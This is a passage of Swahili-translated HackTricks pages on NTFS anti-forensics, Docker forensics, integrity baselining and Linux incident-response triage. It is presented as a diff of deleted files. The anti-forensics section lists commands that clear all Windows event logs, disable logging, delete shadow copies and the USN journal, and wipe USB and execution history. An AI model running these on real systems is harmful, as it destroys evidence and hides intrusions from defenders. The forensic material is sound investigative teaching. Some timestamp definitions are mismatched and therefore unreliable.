- CTIME: Wakati wa uumbaji wa faili
- ATIME: Wakati wa mabadiliko ya faili
- MTIME: Mabadiliko ya usajili wa MFT wa faili
- RTIME: Wakati wa ufikiaji wa faili
## `$STANDARD_INFORMATION` na `$FILE_NAME` kulinganisha
Njia nyingine ya kutambua faili zilizobadilishwa kwa njia ya kutatanisha ingekuwa kulinganisha wakati kwenye sifa zote mbili kutafuta **mismatch**.
## Nanoseconds
**NTFS** timestamps zina **usahihi** wa **nanoseconds 100**. Hivyo, kupata faili zikiwa na timestamps kama 2010-10-10 10:10:**00.000:0000 ni ya kutatanisha sana**.
## SetMace - Anti-forensic Tool
Zana hii inaweza kubadilisha sifa zote mbili `$STARNDAR_INFORMATION` na `$FILE_NAME`. Hata hivyo, kuanzia Windows Vista, ni lazima kwa OS hai kubadilisha taarifa hii.
# Data Hiding
NFTS inatumia klasta na ukubwa wa chini wa taarifa. Hii inamaanisha kwamba ikiwa faili inachukua klasta na nusu, **nusu iliyobaki haitatumika kamwe** hadi faili itakapofutwa. Hivyo, inawezekana **kuficha data katika nafasi hii ya slack**.
Kuna zana kama slacker zinazoruhusu kuficha data katika nafasi hii "iliyojificha". Hata hivyo, uchambuzi wa `$logfile` na `$usnjrnl` unaweza kuonyesha kuwa baadhi ya data iliongezwa:
![](<../../images/image (452).png>)
Hivyo, inawezekana kurejesha nafasi ya slack kwa kutumia zana kama FTK Imager. Kumbuka kwamba aina hii ya zana inaweza kuhifadhi maudhui yaliyofichwa au hata yaliyosimbwa.
# UsbKill
Hii ni zana ambayo it **izima kompyuta ikiwa mabadiliko yoyote katika USB** ports yanagundulika.\
Njia moja ya kugundua hii ingekuwa kukagua michakato inayotembea na **kurejea kila script ya python inayotembea**.
# Live Linux Distributions
Hizi distros zina **tekelezwa ndani ya kumbukumbu ya RAM**. Njia pekee ya kuzitambua ni **ikiwa mfumo wa faili wa NTFS umewekwa na ruhusa za kuandika**. Ikiwa umewekwa tu na ruhusa za kusoma haitakuwa rahisi kugundua uvamizi.
# Secure Deletion
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
# Windows Configuration
Inawezekana kuzima mbinu kadhaa za kurekodi za windows ili kufanya uchunguzi wa forensics kuwa mgumu zaidi.
## Disable Timestamps - UserAssist
Hii ni funguo ya rejista inayoshikilia tarehe na saa wakati kila executable ilipokimbizwa na mtumiaji.
Kuzima UserAssist kunahitaji hatua mbili:
1. Weka funguo mbili za rejista, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` na `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, zote kuwa sifuri ili kuashiria kwamba tunataka UserAssist izimwe.
2. Futa subtrees zako za rejista ambazo zinaonekana kama `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
## Disable Timestamps - Prefetch
Hii itahifadhi taarifa kuhusu programu zilizotekelezwa kwa lengo la kuboresha utendaji wa mfumo wa Windows. Hata hivyo, hii inaweza pia kuwa muhimu kwa mazoea ya forensics.
- Tekeleza `regedit`
- Chagua njia ya faili `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
- Bonyeza kulia kwenye `EnablePrefetcher` na `EnableSuperfetch`
- Chagua Badilisha kwenye kila moja ya hizi kubadilisha thamani kutoka 1 (au 3) kuwa 0
- Anzisha upya
## Disable Timestamps - Last Access Time
Kila wakati folda inafunguliwa kutoka kiasi cha NTFS kwenye seva ya Windows NT, mfumo unachukua wakati wa **k更新 timestamp field kwenye kila folda iliyoorodheshwa**, inayoitwa wakati wa mwisho wa ufikiaji. Katika kiasi cha NTFS kinachotumiwa sana, hii inaweza kuathiri utendaji.
1. Fungua Mhariri wa Rejista (Regedit.exe).
2. Tembelea `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
3. Tafuta `NtfsDisableLastAccessUpdate`. Ikiwa haipo, ongeza DWORD hii na weka thamani yake kuwa 1, ambayo itazima mchakato.
4. Funga Mhariri wa Rejista, na anzisha upya seva.
## Delete USB History
Makala yote ya **USB Device Entries** yanahifadhiwa katika Rejista ya Windows Chini ya funguo ya **USBSTOR** ambayo ina funguo ndogo zinazoundwa kila wakati unapoingiza Kifaa cha USB kwenye PC au Laptop yako. Unaweza kupata funguo hii hapa `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Kufuta hii** utafuta historia ya USB.\
Unaweza pia kutumia zana [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) ili kuwa na uhakika umekifuta (na kufuta).
Faili nyingine inayohifadhi taarifa kuhusu USB ni faili `setupapi.dev.log` ndani ya `C:\Windows\INF`. Hii pia inapaswa kufutwa.
## Disable Shadow Copies
**Orodha** ya nakala za kivuli kwa kutumia `vssadmin list shadowstorage`\
**Futa** kwa kuendesha `vssadmin delete shadow`
Unaweza pia kuzifuta kupitia GUI kwa kufuata hatua zilizopendekezwa katika [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Ili kuzima nakala za kivuli [hatua kutoka hapa](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
1. Fungua programu za Huduma kwa kuandika "services" kwenye kisanduku cha kutafuta maandiko baada ya kubonyeza kitufe cha kuanzisha cha Windows.
2. Kutoka kwenye orodha, pata "Volume Shadow Copy", chagua, kisha upate Mali kwa kubonyeza kulia.
3. Chagua Zimezima kutoka kwenye orodha ya "Aina ya Kuanzisha", kisha thibitisha mabadiliko kwa kubonyeza Tumia na Sawa.
Pia inawezekana kubadilisha usanidi wa faili zipi zitakazokopwa katika nakala ya kivuli katika rejista `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
## Overwrite deleted files
- Unaweza kutumia **zana ya Windows**: `cipher /w:C` Hii itamwambia cipher kuondoa data yoyote kutoka kwenye nafasi isiyotumika ya diski ndani ya diski ya C.
- Unaweza pia kutumia zana kama [**Eraser**](https://eraser.heidi.ie)
## Delete Windows event logs
- Windows + R --> eventvwr.msc --> Panua "Windows Logs" --> Bonyeza kulia kila kundi na uchague "Clear Log"
- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
## Disable Windows event logs
- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
- Ndani ya sehemu za huduma zima huduma "Windows Event Log"
- `WEvtUtil.exec clear-log` au `WEvtUtil.exe cl`
## Disable $UsnJrnl
- `fsutil usn deletejournal /d c:`
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,97 +0,0 @@
# Docker Forensics
{{#include ../../banners/hacktricks-training.md}}
## Container modification
Kuna shaka kwamba baadhi ya kontena za docker zilipatikana:
```bash
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
```
Unaweza kwa urahisi **kupata marekebisho yaliyofanywa kwa kontena hili kuhusiana na picha** kwa kutumia:
```bash
docker diff wordpress
C /var
C /var/lib
C /var/lib/mysql
A /var/lib/mysql/ib_logfile0
A /var/lib/mysql/ib_logfile1
A /var/lib/mysql/ibdata1
A /var/lib/mysql/mysql
A /var/lib/mysql/mysql/time_zone_leap_second.MYI
A /var/lib/mysql/mysql/general_log.CSV
...
```
Katika amri iliyopita, **C** inamaanisha **Changed** na **A,** **Added**.\
Ikiwa utagundua kuwa faili ya kuvutia kama `/etc/shadow` ilibadilishwa, unaweza kuipakua kutoka kwenye kontena ili kuangalia shughuli za uhalifu kwa:
```bash
docker cp wordpress:/etc/shadow.
```
Unaweza pia **kuilinganisha na ile ya asili** kwa kuendesha kontena jipya na kutoa faili kutoka kwake:
```bash
docker run -d lamp-wordpress
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
diff original_shadow shadow
```
Ikiwa utagundua kwamba **faili fulani ya kushangaza imeongezwa** unaweza kufikia kontena na kuangalia:
```bash
docker exec -it wordpress bash
```
## Mabadiliko ya picha
Unapopewa picha ya docker iliyosafirishwa (labda katika muundo wa `.tar`) unaweza kutumia [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) ili **kutolewa muhtasari wa mabadiliko**:
```bash
docker save <image> > image.tar #Export the image to a .tar file
container-diff analyze -t sizelayer image.tar
container-diff analyze -t history image.tar
container-diff analyze -t metadata image.tar
```
Kisha, unaweza **kudondosha** picha na **kufikia blobs** kutafuta faili za kushangaza ambazo huenda umepata katika historia ya mabadiliko:
```bash
tar -xf image.tar
```
### Basic Analysis
Unaweza kupata **taarifa za msingi** kutoka kwa picha ukikimbia:
```bash
docker inspect <image>
```
Unaweza pia kupata muhtasari wa **historia ya mabadiliko** kwa:
```bash
docker history --no-trunc <image>
```
Unaweza pia kuunda **dockerfile kutoka kwa picha** na:
```bash
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
```
### Dive
Ili kupata faili zilizoongezwa/zilizobadilishwa katika picha za docker unaweza pia kutumia [**dive**](https://github.com/wagoodman/dive) (ipakue kutoka [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility:
```bash
#First you need to load the image in your docker repo
sudo docker load < image.tar 1
Loaded image: flask:latest
#And then open it with dive:
sudo dive flask:latest
```
Hii inakuwezesha **kuvinjari kupitia blobs tofauti za picha za docker** na kuangalia faili zipi zilirekebishwa/kuongezwa. **Nyekundu** inamaanisha kuongezwa na **njano** inamaanisha kurekebishwa. Tumia **tab** kuhamia kwenye mtazamo mwingine na **space** kufunga/kufungua folda.
Kwa die huwezi kufikia maudhui ya hatua tofauti za picha. Ili kufanya hivyo, utahitaji **kufungua kila safu na kuifikia**.\
Unaweza kufungua safu zote kutoka kwa picha kutoka kwenye saraka ambapo picha ilifunguliwa ukitekeleza:
```bash
tar -xf image.tar
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
```
## Credentials kutoka kwa kumbukumbu
Kumbuka kwamba unapokimbia kontena la docker ndani ya mwenyeji **unaweza kuona michakato inayokimbia kwenye kontena kutoka kwa mwenyeji** kwa kukimbia tu `ps -ef`
Hivyo (kama root) unaweza **kutoa kumbukumbu ya michakato** kutoka kwa mwenyeji na kutafuta **credentials** tu [**kama katika mfano ufuatao**](../../linux-hardening/privilege-escalation/index.html#process-memory).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,26 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Msingi
Msingi unajumuisha kuchukua picha ya sehemu fulani za mfumo ili **kuilinganisha na hali ya baadaye ili kuonyesha mabadiliko**.
Kwa mfano, unaweza kuhesabu na kuhifadhi hash ya kila faili ya mfumo wa faili ili uweze kugundua ni faili zipi zilizobadilishwa.\
Hii inaweza pia kufanywa kwa akaunti za watumiaji zilizoundwa, michakato inayoendesha, huduma zinazotumika na chochote kingine ambacho hakipaswi kubadilika sana, au hata kabisa.
## Ufuatiliaji wa Uadilifu wa Faili
Ufuatiliaji wa Uadilifu wa Faili (FIM) ni mbinu muhimu ya usalama inayolinda mazingira ya IT na data kwa kufuatilia mabadiliko katika faili. Inajumuisha hatua mbili muhimu:
1. **Ulinganisho wa Msingi:** Kuanzisha msingi kwa kutumia sifa za faili au checksums za kificho (kama MD5 au SHA-2) kwa ajili ya ulinganisho wa baadaye ili kugundua mabadiliko.
2. **Arifa za Mabadiliko ya Wakati Halisi:** Pata arifa za papo hapo wakati faili zinapofikiwa au kubadilishwa, kawaida kupitia nyongeza za kernel za OS.
## Zana
- [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
- [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
## Marejeleo
- [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,370 +0,0 @@
# Linux Forensics
{{#include ../../banners/hacktricks-training.md}}
## Mkusanyiko wa Taarifa za Awali
### Taarifa za Msingi
Kwanza kabisa, inapendekezwa kuwa na **USB** yenye **binaries na maktaba zinazojulikana vizuri** (unaweza tu kupata ubuntu na nakala za folda _/bin_, _/sbin_, _/lib,_ na _/lib64_), kisha unganisha USB, na badilisha mabadiliko ya mazingira ili kutumia binaries hizo:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
Mara tu umepanga mfumo kutumia binaries nzuri na zinazojulikana unaweza kuanza **kuchota taarifa za msingi**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
ifconfig -a || ip a #Network interfaces (promiscuous mode?)
ps -ef #Running processes
netstat -anp #Proccess and ports
lsof -V #Open files
netstat -rn; route #Routing table
df; mount #Free space and mounted devices
free #Meam and swap space
w #Who is connected
last -Faiwx #Logins
lsmod #What is loaded
cat /etc/passwd #Unexpected data?
cat /etc/shadow #Unexpected data?
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
```
#### Taarifa za Kutia Shaka
Wakati wa kupata taarifa za msingi unapaswa kuangalia mambo ya ajabu kama:
- **Mchakato wa Root** kawaida huendesha na PIDS za chini, hivyo ikiwa unapata mchakato wa root wenye PID kubwa unaweza kuwa na shaka
- Angalia **kuingia kwa watumiaji** waliojiandikisha bila shell ndani ya `/etc/passwd`
- Angalia **hash za nywila** ndani ya `/etc/shadow` kwa watumiaji bila shell
### Dump ya Kumbukumbu
Ili kupata kumbukumbu ya mfumo unaoendesha, inashauriwa kutumia [**LiME**](https://github.com/504ensicsLabs/LiME).\
Ili **kuandika** hiyo, unahitaji kutumia **kernel sawa** ambayo mashine ya mwathirika inatumia.
> [!NOTE]
> Kumbuka kwamba huwezi **kufunga LiME au kitu kingine chochote** kwenye mashine ya mwathirika kwani itafanya mabadiliko kadhaa kwake
Hivyo, ikiwa una toleo sawa la Ubuntu unaweza kutumia `apt-get install lime-forensics-dkms`\
Katika hali nyingine, unahitaji kupakua [**LiME**](https://github.com/504ensicsLabs/LiME) kutoka github na kuandika hiyo kwa kutumia vichwa sahihi vya kernel. Ili **kupata vichwa sahihi vya kernel** vya mashine ya mwathirika, unaweza tu **kunakili directory** `/lib/modules/<kernel version>` kwenye mashine yako, na kisha **kuandika** LiME kwa kutumia hivyo:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
LiME inasaidia **format** 3:
- Raw (sehemu zote zimeunganishwa pamoja)
- Padded (sawa na raw, lakini na sifuri katika bits za kulia)
- Lime (format inayopendekezwa yenye metadata)
LiME pia inaweza kutumika **kutuma dump kupitia mtandao** badala ya kuihifadhi kwenye mfumo kwa kutumia kitu kama: `path=tcp:4444`
### Disk Imaging
#### Shutting down
Kwanza kabisa, utahitaji **kuzima mfumo**. Hii si chaguo kila wakati kwani wakati mwingine mfumo utakuwa seva ya uzalishaji ambayo kampuni haiwezi kumudu kuzima.\
Kuna **njia 2** za kuzima mfumo, **kuzima kawaida** na **"kuvuta plug" kuzima**. Ya kwanza itaruhusu **mchakato kumalizika kama kawaida** na **filesystem** kuwa **synchronized**, lakini pia itaruhusu **malware** inayoweza **kuharibu ushahidi**. Njia ya "kuvuta plug" inaweza kuleta **kupoteza taarifa** (sio nyingi za taarifa zitapotea kwani tayari tumepata picha ya kumbukumbu) na **malware haitakuwa na fursa yoyote** ya kufanya chochote kuhusu hilo. Hivyo, ikiwa unadhani kuna **malware**, tekeleza tu **amri ya `sync`** kwenye mfumo na uvute plug.
#### Taking an image of the disk
Ni muhimu kutambua kwamba **kabla ya kuunganisha kompyuta yako na chochote kinachohusiana na kesi**, unahitaji kuwa na uhakika kwamba itakuwa **imewekwa kama kusoma tu** ili kuepuka kubadilisha taarifa yoyote.
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data)
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
### Disk Image pre-analysis
Kuchora picha ya diski bila data zaidi.
```bash
#Find out if it's a disk image using "file" command
file disk.img
disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)
#Check which type of disk image it's
img_stat -t evidence.img
raw
#You can list supported types with
img_stat -i list
Supported image format types:
raw (Single or split raw file (dd))
aff (Advanced Forensic Format)
afd (AFF Multiple File)
afm (AFF with external metadata)
afflib (All AFFLIB image formats (including beta ones))
ewf (Expert Witness Format (EnCase))
#Data of the image
fsstat -i raw -f ext4 disk.img
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext4
Volume Name:
Volume ID: 162850f203fd75afab4f1e4736a7e776
Last Written at: 2020-02-06 06:22:48 (UTC)
Last Checked at: 2020-02-06 06:15:09 (UTC)
Last Mounted at: 2020-02-06 06:15:18 (UTC)
Unmounted properly
Last mounted on: /mnt/disk0
Source OS: Linux
[...]
#ls inside the image
fls -i raw -f ext4 disk.img
d/d 11: lost+found
d/d 12: Documents
d/d 8193: folder1
d/d 8194: folder2
V/V 65537: $OrphanFiles
#ls inside folder
fls -i raw -f ext4 disk.img 12
r/r 16: secret.txt
#cat file inside image
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
## Tafuta Malware inayojulikana
### Faili za Mfumo zilizobadilishwa
Linux inatoa zana za kuhakikisha uaminifu wa vipengele vya mfumo, muhimu kwa kugundua faili zinazoweza kuwa na matatizo.
- **Mifumo ya RedHat**: Tumia `rpm -Va` kwa ukaguzi wa kina.
- **Mifumo ya Debian**: `dpkg --verify` kwa uthibitisho wa awali, ikifuatiwa na `debsums | grep -v "OK$"` (baada ya kufunga `debsums` kwa `apt-get install debsums`) ili kubaini matatizo yoyote.
### Vifaa vya Kugundua Malware/Rootkit
Soma ukurasa ufuatao kujifunza kuhusu zana ambazo zinaweza kuwa na manufaa katika kutafuta malware:
{{#ref}}
malware-analysis.md
{{#endref}}
## Tafuta programu zilizowekwa
Ili kutafuta kwa ufanisi programu zilizowekwa kwenye mifumo ya Debian na RedHat, fikiria kutumia kumbukumbu za mfumo na hifadhidata pamoja na ukaguzi wa mikono katika directories za kawaida.
- Kwa Debian, angalia _**`/var/lib/dpkg/status`**_ na _**`/var/log/dpkg.log`**_ ili kupata maelezo kuhusu usakinishaji wa pakiti, ukitumia `grep` kuchuja taarifa maalum.
- Watumiaji wa RedHat wanaweza kuuliza hifadhidata ya RPM kwa `rpm -qa --root=/mntpath/var/lib/rpm` ili orodhesha pakiti zilizowekwa.
Ili kugundua programu zilizowekwa kwa mikono au nje ya wasimamizi hawa wa pakiti, chunguza directories kama _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, na _**`/sbin`**_. Changanya orodha za directories na amri maalum za mfumo ili kubaini executable zisizohusishwa na pakiti zinazojulikana, kuboresha utafutaji wako wa programu zote zilizowekwa.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
cat /var/log/dpkg.log | grep installed
# RedHat RPM database query
rpm -qa --root=/mntpath/var/lib/rpm
# Listing directories for manual installations
ls /usr/sbin /usr/bin /bin /sbin
# Identifying non-package executables (Debian)
find /sbin/ -exec dpkg -S {} \; | grep "no path found"
# Identifying non-package executables (RedHat)
find /sbin/ exec rpm -qf {} \; | grep "is not"
# Find exacuable files
find / -type f -executable | grep <something>
```
## Recover Deleted Running Binaries
Fikiria mchakato ambao ulitekelezwa kutoka /tmp/exec na kisha kufutwa. Inawezekana kuutoa.
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
## Kagua maeneo ya Autostart
### Kazi za Ratiba
```bash
cat /var/spool/cron/crontabs/* \
/var/spool/cron/atjobs \
/var/spool/anacron \
/etc/cron* \
/etc/at* \
/etc/anacrontab \
/etc/incron.d/* \
/var/spool/incron/* \
#MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
### Huduma
Njia ambapo malware inaweza kufungwa kama huduma:
- **/etc/inittab**: Inaita skripti za kuanzisha kama rc.sysinit, ikielekeza zaidi kwenye skripti za kuanzisha.
- **/etc/rc.d/** na **/etc/rc.boot/**: Zina skripti za kuanzisha huduma, ya pili ikipatikana katika toleo za zamani za Linux.
- **/etc/init.d/**: Inatumika katika toleo fulani za Linux kama Debian kwa kuhifadhi skripti za kuanzisha.
- Huduma zinaweza pia kuanzishwa kupitia **/etc/inetd.conf** au **/etc/xinetd/**, kulingana na toleo la Linux.
- **/etc/systemd/system**: Kadiria kwa skripti za meneja wa mfumo na huduma.
- **/etc/systemd/system/multi-user.target.wants/**: Inashikilia viungo kwa huduma ambazo zinapaswa kuanzishwa katika kiwango cha kuendesha watumiaji wengi.
- **/usr/local/etc/rc.d/**: Kwa huduma za kawaida au za wahusika wengine.
- **\~/.config/autostart/**: Kwa programu za kuanzisha kiotomatiki maalum kwa mtumiaji, ambazo zinaweza kuwa mahali pa kuficha malware inayolenga watumiaji.
- **/lib/systemd/system/**: Faili za kitengo za kawaida za mfumo zinazotolewa na pakiti zilizowekwa.
### Moduli za Kernel
Moduli za kernel za Linux, mara nyingi hutumiwa na malware kama sehemu za rootkit, zinawekwa wakati wa kuanzisha mfumo. Maktaba na faili muhimu kwa moduli hizi ni pamoja na:
- **/lib/modules/$(uname -r)**: Inashikilia moduli za toleo la kernel linalotumika.
- **/etc/modprobe.d**: Inashikilia faili za usanidi kudhibiti upakiaji wa moduli.
- **/etc/modprobe** na **/etc/modprobe.conf**: Faili za mipangilio ya moduli za kimataifa.
### Mahali Mengine pa Kuanzisha Kiotomatiki
Linux inatumia faili mbalimbali kwa kutekeleza programu kiotomatiki wakati wa kuingia kwa mtumiaji, ambayo inaweza kuwa na malware:
- **/etc/profile.d/**\*, **/etc/profile**, na **/etc/bash.bashrc**: Zinatekelezwa kwa kuingia kwa mtumiaji yeyote.
- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, na **\~/.config/autostart**: Faili maalum za mtumiaji zinazotekelezwa wakati wa kuingia kwao.
- **/etc/rc.local**: Inatekelezwa baada ya huduma zote za mfumo kuanzishwa, ikionyesha mwisho wa mpito kwenda mazingira ya watumiaji wengi.
## Kagua Kumbukumbu
Mifumo ya Linux inafuatilia shughuli za watumiaji na matukio ya mfumo kupitia faili mbalimbali za kumbukumbu. Kumbukumbu hizi ni muhimu kwa kutambua ufikiaji usioidhinishwa, maambukizi ya malware, na matukio mengine ya usalama. Faili muhimu za kumbukumbu ni pamoja na:
- **/var/log/syslog** (Debian) au **/var/log/messages** (RedHat): Huhifadhi ujumbe na shughuli za mfumo mzima.
- **/var/log/auth.log** (Debian) au **/var/log/secure** (RedHat): Huhifadhi majaribio ya uthibitishaji, kuingia kwa mafanikio na yasiyofanikiwa.
- Tumia `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` kuchuja matukio muhimu ya uthibitishaji.
- **/var/log/boot.log**: Inashikilia ujumbe wa kuanzisha mfumo.
- **/var/log/maillog** au **/var/log/mail.log**: Huhifadhi shughuli za seva ya barua pepe, muhimu kwa kufuatilia huduma zinazohusiana na barua pepe.
- **/var/log/kern.log**: Huhifadhi ujumbe wa kernel, ikiwa ni pamoja na makosa na onyo.
- **/var/log/dmesg**: Inashikilia ujumbe wa dereva wa kifaa.
- **/var/log/faillog**: Huhifadhi majaribio ya kuingia yasiyofanikiwa, kusaidia katika uchunguzi wa uvunjaji wa usalama.
- **/var/log/cron**: Huhifadhi utekelezaji wa kazi za cron.
- **/var/log/daemon.log**: Inafuatilia shughuli za huduma za nyuma.
- **/var/log/btmp**: Huhifadhi majaribio ya kuingia yasiyofanikiwa.
- **/var/log/httpd/**: Inashikilia kumbukumbu za makosa na ufikiaji wa Apache HTTPD.
- **/var/log/mysqld.log** au **/var/log/mysql.log**: Huhifadhi shughuli za hifadhidata ya MySQL.
- **/var/log/xferlog**: Huhifadhi uhamishaji wa faili za FTP.
- **/var/log/**: Daima angalia kumbukumbu zisizotarajiwa hapa.
> [!NOTE]
> Kumbukumbu za mifumo ya Linux na mifumo ya ukaguzi zinaweza kuzuiwa au kufutwa katika tukio la uvamizi au maambukizi ya malware. Kwa sababu kumbukumbu kwenye mifumo ya Linux kwa ujumla zina taarifa muhimu zaidi kuhusu shughuli mbaya, wavamizi mara nyingi huzifuta. Hivyo, wakati wa kuchunguza faili za kumbukumbu zinazopatikana, ni muhimu kutafuta mapengo au entries zisizo za kawaida ambazo zinaweza kuwa dalili za kufutwa au kuingiliwa.
**Linux inahifadhi historia ya amri kwa kila mtumiaji**, iliyohifadhiwa katika:
- \~/.bash_history
- \~/.zsh_history
- \~/.zsh_sessions/\*
- \~/.python_history
- \~/.\*\_history
Zaidi ya hayo, amri ya `last -Faiwx` inatoa orodha ya kuingia kwa watumiaji. Angalia kwa kuingia zisizojulikana au zisizotarajiwa.
Kagua faili ambazo zinaweza kutoa rprivileges za ziada:
- Kagua `/etc/sudoers` kwa haki za mtumiaji zisizotarajiwa ambazo zinaweza kuwa zimetolewa.
- Kagua `/etc/sudoers.d/` kwa haki za mtumiaji zisizotarajiwa ambazo zinaweza kuwa zimetolewa.
- Kagua `/etc/groups` ili kubaini uanachama wa vikundi au ruhusa zisizo za kawaida.
- Kagua `/etc/passwd` ili kubaini uanachama wa vikundi au ruhusa zisizo za kawaida.
Baadhi ya programu pia zinaweza kuunda kumbukumbu zake:
- **SSH**: Kagua _\~/.ssh/authorized_keys_ na _\~/.ssh/known_hosts_ kwa muunganisho wa mbali usioidhinishwa.
- **Gnome Desktop**: Angalia _\~/.recently-used.xbel_ kwa faili zilizofikiwa hivi karibuni kupitia programu za Gnome.
- **Firefox/Chrome**: Kagua historia ya kivinjari na upakuaji katika _\~/.mozilla/firefox_ au _\~/.config/google-chrome_ kwa shughuli za kushangaza.
- **VIM**: Kagua _\~/.viminfo_ kwa maelezo ya matumizi, kama vile njia za faili zilizofikiwa na historia ya utafutaji.
- **Open Office**: Kagua ufikiaji wa hati za hivi karibuni ambazo zinaweza kuashiria faili zilizovunjwa.
- **FTP/SFTP**: Kagua kumbukumbu katika _\~/.ftp_history_ au _\~/.sftp_history_ kwa uhamishaji wa faili ambao unaweza kuwa usioidhinishwa.
- **MySQL**: Chunguza _\~/.mysql_history_ kwa maswali ya MySQL yaliyotekelezwa, ambayo yanaweza kufichua shughuli zisizoidhinishwa za hifadhidata.
- **Less**: Changanua _\~/.lesshst_ kwa historia ya matumizi, ikiwa ni pamoja na faili zilizotazamwa na amri zilizotekelezwa.
- **Git**: Kagua _\~/.gitconfig_ na mradi _.git/logs_ kwa mabadiliko ya hifadhidata.
### Kumbukumbu za USB
[**usbrip**](https://github.com/snovvcrash/usbrip) ni kipande kidogo cha programu kilichoandikwa kwa Python 3 safi ambacho kinachambua faili za kumbukumbu za Linux (`/var/log/syslog*` au `/var/log/messages*` kulingana na distro) kwa ajili ya kujenga meza za historia ya matukio ya USB.
Ni muhimu **kujua USB zote ambazo zimekuwa zikitumika** na itakuwa na manufaa zaidi ikiwa una orodha iliyoidhinishwa ya USB ili kupata "matukio ya ukiukaji" (matumizi ya USB ambazo si ndani ya orodha hiyo).
### Usanidi
```bash
pip3 install usbrip
usbrip ids download #Download USB ID database
```
### Mifano
```bash
usbrip events history #Get USB history of your curent linux machine
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
#Search for vid and/or pid
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
## Review User Accounts and Logon Activities
Chunguza _**/etc/passwd**_, _**/etc/shadow**_ na **security logs** kwa majina yasiyo ya kawaida au akaunti zilizoundwa na au kutumika karibu na matukio yanayojulikana yasiyoidhinishwa. Pia, angalia mashambulizi ya sudo brute-force yanayowezekana.\
Zaidi ya hayo, angalia faili kama _**/etc/sudoers**_ na _**/etc/groups**_ kwa ruhusa zisizotarajiwa zilizotolewa kwa watumiaji.\
Hatimaye, tafuta akaunti zenye **hakuna nywila** au **nywila zinazoweza kukisiwa kwa urahisi**.
## Examine File System
### Analyzing File System Structures in Malware Investigation
Wakati wa kuchunguza matukio ya malware, muundo wa mfumo wa faili ni chanzo muhimu cha habari, kinachoonyesha mfululizo wa matukio na maudhui ya malware. Hata hivyo, waandishi wa malware wanatengeneza mbinu za kuzuia uchambuzi huu, kama vile kubadilisha muda wa faili au kuepuka mfumo wa faili kwa ajili ya uhifadhi wa data.
